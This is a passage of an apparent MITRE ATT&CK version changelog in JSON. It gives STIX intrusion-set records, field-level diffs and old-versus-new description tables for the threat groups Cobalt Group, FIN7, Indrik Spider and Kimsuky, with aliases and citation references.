t1[Cobalt Group](https://attack.mitre.org/groups/G0080) is a ft1[Cobalt Group](https://attack.mitre.org/groups/G0080) is a f
>inancially motivated threat group that has primarily targete>inancially motivated threat group that has primarily targete
>d financial institutions. The group has conducted intrusions>d financial institutions since at least 2016. The group has 
> to steal money via targeting ATM systems, card processing, >conducted intrusions to steal money via targeting ATM system
>payment systems and SWIFT systems. [Cobalt Group](https://at>s, card processing, payment systems and SWIFT systems. [Coba
>tack.mitre.org/groups/G0080) has mainly targeted banks in Ea>lt Group](https://attack.mitre.org/groups/G0080) has mainly 
>stern Europe, Central Asia, and Southeast Asia. One of the a>targeted banks in Eastern Europe, Central Asia, and Southeas
>lleged leaders was arrested in Spain in early 2018, but the >t Asia. One of the alleged leaders was arrested in Spain in 
>group still appears to be active. The group has been known t>early 2018, but the group still appears to be active. The gr
>o target organizations in order to use their access to then >oup has been known to target organizations in order to use t
>compromise additional victims. (Citation: Talos Cobalt Group>heir access to then compromise additional victims.(Citation:
> July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Ci> Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt G
>tation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Coba>roup Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citatio
>lt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citati>n: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt Jun
>on: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 201>e 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ C
>8) Reporting indicates there may be links between [Cobalt Gr>obalt Jan 2018) Reporting indicates there may be links betwe
>oup](https://attack.mitre.org/groups/G0080) and both the mal>en [Cobalt Group](https://attack.mitre.org/groups/G0080) and
>ware [Carbanak](https://attack.mitre.org/software/S0030) and> both the malware [Carbanak](https://attack.mitre.org/softwa
> the group [Carbanak](https://attack.mitre.org/groups/G0008)>re/S0030) and the group [Carbanak](https://attack.mitre.org/
>. (Citation: Europol Cobalt Mar 2018)>groups/G0008).(Citation: Europol Cobalt Mar 2018)
" }, { "type": "intrusion-set", "id": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:32:09.460000+00:00", "modified": "2021-10-19 00:02:08.486000+00:00", "name": "FIN7", "description": "[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013 primarily targeting the U.S. retail, restaurant, and hospitality sectors, often using point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. Since 2020 [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. [FIN7](https://attack.mitre.org/groups/G0046) may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)", "aliases": [ "FIN7", "GOLD NIAGARA", "ITG14", "Carbon Spider" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0046", "external_id": "G0046" }, { "source_name": "FIN7", "description": "(Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: Morphisec FIN7 June 2017) (Citation: FireEye FIN7 Shim Databases) (Citation: FireEye FIN7 Aug 2018)" }, { "source_name": "GOLD NIAGARA", "description": "(Citation: Secureworks GOLD NIAGARA Threat Profile)" }, { "source_name": "ITG14", "description": "ITG14 shares campaign overlap with FIN7.(Citation: IBM Ransomware Trends September 2020)" }, { "source_name": "Carbon Spider", "description": "(Citation: CrowdStrike Carbon Spider August 2021)" }, { "source_name": "FireEye FIN7 March 2017", "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" }, { "source_name": "FireEye FIN7 April 2017", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" }, { "source_name": "FireEye CARBANAK June 2017", "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" }, { "source_name": "FireEye FIN7 Aug 2018", "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" }, { "source_name": "CrowdStrike Carbon Spider August 2021", "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/" }, { "source_name": "Morphisec FIN7 June 2017", "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry" }, { "source_name": "FireEye FIN7 Shim Databases", "description": "Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html" }, { "source_name": "Secureworks GOLD NIAGARA Threat Profile", "description": "CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.", "url": "https://www.secureworks.com/research/threat-profiles/gold-niagara" }, { "source_name": "IBM Ransomware Trends September 2020", "description": "Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.", "url": "https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "2.0", "detailed_diff": "{\"dictionary_item_removed\": {\"root['external_references'][2]['url']\": \"https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html\", \"root['external_references'][3]['url']\": \"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html\", \"root['external_references'][4]['url']\": \"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-19 00:02:08.486000+00:00\", \"old_value\": \"2020-10-22 18:47:28.215000+00:00\"}, \"root['description']\": {\"new_value\": \"[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013 primarily targeting the U.S. retail, restaurant, and hospitality sectors, often using point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. Since 2020 [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. [FIN7](https://attack.mitre.org/groups/G0046) may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)\", \"old_value\": \"[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018)\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"GOLD NIAGARA\", \"old_value\": \"FireEye FIN7 March 2017\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"(Citation: Secureworks GOLD NIAGARA Threat Profile)\", \"old_value\": \"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"ITG14\", \"old_value\": \"FireEye FIN7 April 2017\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"ITG14 shares campaign overlap with FIN7.(Citation: IBM Ransomware Trends September 2020)\", \"old_value\": \"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"Carbon Spider\", \"old_value\": \"FireEye CARBANAK June 2017\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"(Citation: CrowdStrike Carbon Spider August 2021)\", \"old_value\": \"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.\"}, \"root['external_references'][5]['source_name']\": {\"new_value\": \"FireEye FIN7 March 2017\", \"old_value\": \"FireEye FIN7 Aug 2018\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.\", \"old_value\": \"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html\", \"old_value\": \"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html\"}, \"root['external_references'][6]['source_name']\": {\"new_value\": \"FireEye FIN7 April 2017\", \"old_value\": \"Morphisec FIN7 June 2017\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.\", \"old_value\": \"Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html\", \"old_value\": \"http://blog.morphisec.com/fin7-attacks-restaurant-industry\"}, \"root['external_references'][7]['source_name']\": {\"new_value\": \"FireEye CARBANAK June 2017\", \"old_value\": \"FireEye FIN7 Shim Databases\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.\", \"old_value\": \"Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html\", \"old_value\": \"https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.5\"}}, \"iterable_item_added\": {\"root['aliases'][1]\": \"GOLD NIAGARA\", \"root['aliases'][2]\": \"ITG14\", \"root['aliases'][3]\": \"Carbon Spider\", \"root['external_references'][8]\": {\"source_name\": \"FireEye FIN7 Aug 2018\", \"description\": \"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.\", \"url\": \"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html\"}, \"root['external_references'][9]\": {\"source_name\": \"CrowdStrike Carbon Spider August 2021\", \"description\": \"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.\", \"url\": \"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/\"}, \"root['external_references'][10]\": {\"source_name\": \"Morphisec FIN7 June 2017\", \"description\": \"Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.\", \"url\": \"http://blog.morphisec.com/fin7-attacks-restaurant-industry\"}, \"root['external_references'][11]\": {\"source_name\": \"FireEye FIN7 Shim Databases\", \"description\": \"Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.\", \"url\": \"https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html\"}, \"root['external_references'][12]\": {\"source_name\": \"Secureworks GOLD NIAGARA Threat Profile\", \"description\": \"CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.\", \"url\": \"https://www.secureworks.com/research/threat-profiles/gold-niagara\"}, \"root['external_references'][13]\": {\"source_name\": \"IBM Ransomware Trends September 2020\", \"description\": \"Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.\", \"url\": \"https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/\"}}}", "previous_version": "1.5", "version_change": "1.5 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[FIN7](https://attack.mitre.org/groups/G0046) is a financialt1[FIN7](https://attack.mitre.org/groups/G0046) is a financial
>ly-motivated threat group that has primarily targeted the U.>ly-motivated threat group that has been active since 2013 pr
>S. retail, restaurant, and hospitality sectors since mid-201>imarily targeting the U.S. retail, restaurant, and hospitali
>5. They often use point-of-sale malware. A portion of [FIN7]>ty sectors, often using point-of-sale malware. A portion of 
>(https://attack.mitre.org/groups/G0046) was run out of a fro>[FIN7](https://attack.mitre.org/groups/G0046) was run out of
>nt company called Combi Security. [FIN7](https://attack.mitr> a front company called Combi Security. Since 2020 [FIN7](ht
>e.org/groups/G0046) is sometimes referred to as [Carbanak](h>tps://attack.mitre.org/groups/G0046) shifted operations to a
>ttps://attack.mitre.org/groups/G0008) Group, but these appea> big game hunting (BGH) approach including use of [REvil](ht
>r to be two groups using the same [Carbanak](https://attack.>tps://attack.mitre.org/software/S0496) ransomware and their 
>mitre.org/software/S0030) malware and are therefore tracked >own Ransomware as a Service (RaaS), Darkside. [FIN7](https:/
>separately. (Citation: FireEye FIN7 March 2017) (Citation: F>/attack.mitre.org/groups/G0046) may be linked to the [Carban
>ireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 201>ak](https://attack.mitre.org/groups/G0008) Group, but there 
>7) (Citation: FireEye FIN7 Aug 2018)>appears to be several groups using [Carbanak](https://attack
 >.mitre.org/software/S0030) malware and are therefore tracked
 > separately.(Citation: FireEye FIN7 March 2017)(Citation: Fi
 >reEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)
 >(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carb
 >on Spider August 2021)
" }, { "type": "intrusion-set", "id": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-01-06 17:46:35.134000+00:00", "modified": "2021-10-15 16:14:32.314000+00:00", "name": "Indrik Spider", "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that as been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)", "aliases": [ "Indrik Spider", "Evil Corp" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0119", "external_id": "G0119" }, { "source_name": "Evil Corp", "description": "(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)" }, { "source_name": "Crowdstrike Indrik November 2018", "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/" }, { "source_name": "Crowdstrike EvilCorp March 2021", "description": "Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.", "url": "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/" }, { "source_name": "Treasury EvilCorp Dec 2019", "description": "U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.", "url": "https://home.treasury.gov/news/press-releases/sm845" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "2.0", "detailed_diff": "{\"dictionary_item_removed\": {\"root['external_references'][1]['url']\": \"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 16:14:32.314000+00:00\", \"old_value\": \"2021-04-20 02:00:43.762000+00:00\"}, \"root['description']\": {\"new_value\": \"[Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that as been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)\", \"old_value\": \"[Indrik Spider](https://attack.mitre.org/groups/G0119) is a financially motivated threat group that has leveraged the Dridex banking trojan since at least June 2014 and delivered ransomware variants since 2017.(Citation: Crowdstrike Indrik November 2018) \"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"Evil Corp\", \"old_value\": \"Crowdstrike Indrik November 2018\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)\", \"old_value\": \"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['aliases'][1]\": \"Evil Corp\", \"root['external_references'][2]\": {\"source_name\": \"Crowdstrike Indrik November 2018\", \"description\": \"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.\", \"url\": \"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/\"}, \"root['external_references'][3]\": {\"source_name\": \"Crowdstrike EvilCorp March 2021\", \"description\": \"Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.\", \"url\": \"https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/\"}, \"root['external_references'][4]\": {\"source_name\": \"Treasury EvilCorp Dec 2019\", \"description\": \"U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.\", \"url\": \"https://home.treasury.gov/news/press-releases/sm845\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Indrik Spider](https://attack.mitre.org/groups/G0119) is a t1[Indrik Spider](https://attack.mitre.org/groups/G0119) is a 
>financially motivated threat group that has leveraged the Dr>Russia-based cybercriminal group that as been active since a
>idex banking trojan since at least June 2014 and delivered r>t least 2014. [Indrik Spider](https://attack.mitre.org/group
>ansomware variants since 2017.(Citation: Crowdstrike Indrik >s/G0119) initially started with the [Dridex](https://attack.
>November 2018) >mitre.org/software/S0384) banking Trojan, and then by 2017 t
 >hey began running ransomware operations using [BitPaymer](ht
 >tps://attack.mitre.org/software/S0570), [WastedLocker](https
 >://attack.mitre.org/software/S0612), and Hades ransomware.(C
 >itation: Crowdstrike Indrik November 2018)(Citation: Crowdst
 >rike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 20
 >19)
" }, { "type": "intrusion-set", "id": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-08-26 15:03:02.577000+00:00", "modified": "2021-10-14 22:35:20.109000+00:00", "name": "Kimsuky", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)\n\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", "aliases": [ "Kimsuky", "STOLEN PENCIL", "Thallium", "Black Banshee", "Velvet Chollima" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0094", "external_id": "G0094" }, { "source_name": "Kimsuky", "description": "(Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021)" }, { "source_name": "STOLEN PENCIL", "description": "(Citation: Netscout Stolen Pencil Dec 2018)" }, { "source_name": "Thallium", "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)" }, { "source_name": "Black Banshee", "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)" }, { "source_name": "Velvet Chollima", "description": "(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021)" }, { "source_name": "EST Kimsuky April 2019", "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", "url": "https://blog.alyac.co.kr/2234" }, { "source_name": "BRI Kimsuky April 2019", "description": "BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019.", "url": "https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/" }, { "source_name": "Cybereason Kimsuky November 2020", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite" }, { "source_name": "Malwarebytes Kimsuky June 2021", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/" }, { "source_name": "CISA AA20-301A Kimsuky", "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a" }, { "source_name": "Netscout Stolen Pencil Dec 2018", "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" }, { "source_name": "EST Kimsuky SmokeScreen April 2019", "description": "ESTSecurity. (2019, April 17). Analysis of the APT Campaign \u2018Smoke Screen\u2019 targeting to Korea and US \ucd9c\ucc98: https://blog.alyac.co.kr/2243 [\uc774\uc2a4\ud2b8\uc2dc\ud050\ub9ac\ud2f0 \uc54c\uc57d \ube14\ub85c\uadf8]. Retrieved September 29, 2021.", "url": "https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf" }, { "source_name": "AhnLab Kimsuky Kabar Cobra Feb 2019", "description": "AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021.", "url": "https://global.ahnlab.com/global/upload/download/techreport/[Analysis_Report]Operation%20Kabar%20Cobra.pdf" }, { "source_name": "Securelist Kimsuky Sept 2013", "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" }, { "source_name": "Zdnet Kimsuky Dec 2018", "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.", "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/" }, { "source_name": "ThreatConnect Kimsuky September 2020", "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.", "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "3.0", "detailed_diff": "{\"dictionary_item_removed\": {\"root['external_references'][5]['url']\": \"https://blog.alyac.co.kr/2234\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 22:35:20.109000+00:00\", \"old_value\": \"2021-04-23 02:34:44.299000+00:00\"}, \"root['description']\": {\"new_value\": \"[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)\\n\\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\\n\\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.\", \"old_value\": \"[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group initially focused on targeting Korean think tanks and DPRK/nuclear-related targets, expanding recently to the United States, Russia, and Europe. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,5 @@\\n-[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group initially focused on targeting Korean think tanks and DPRK/nuclear-related targets, expanding recently to the 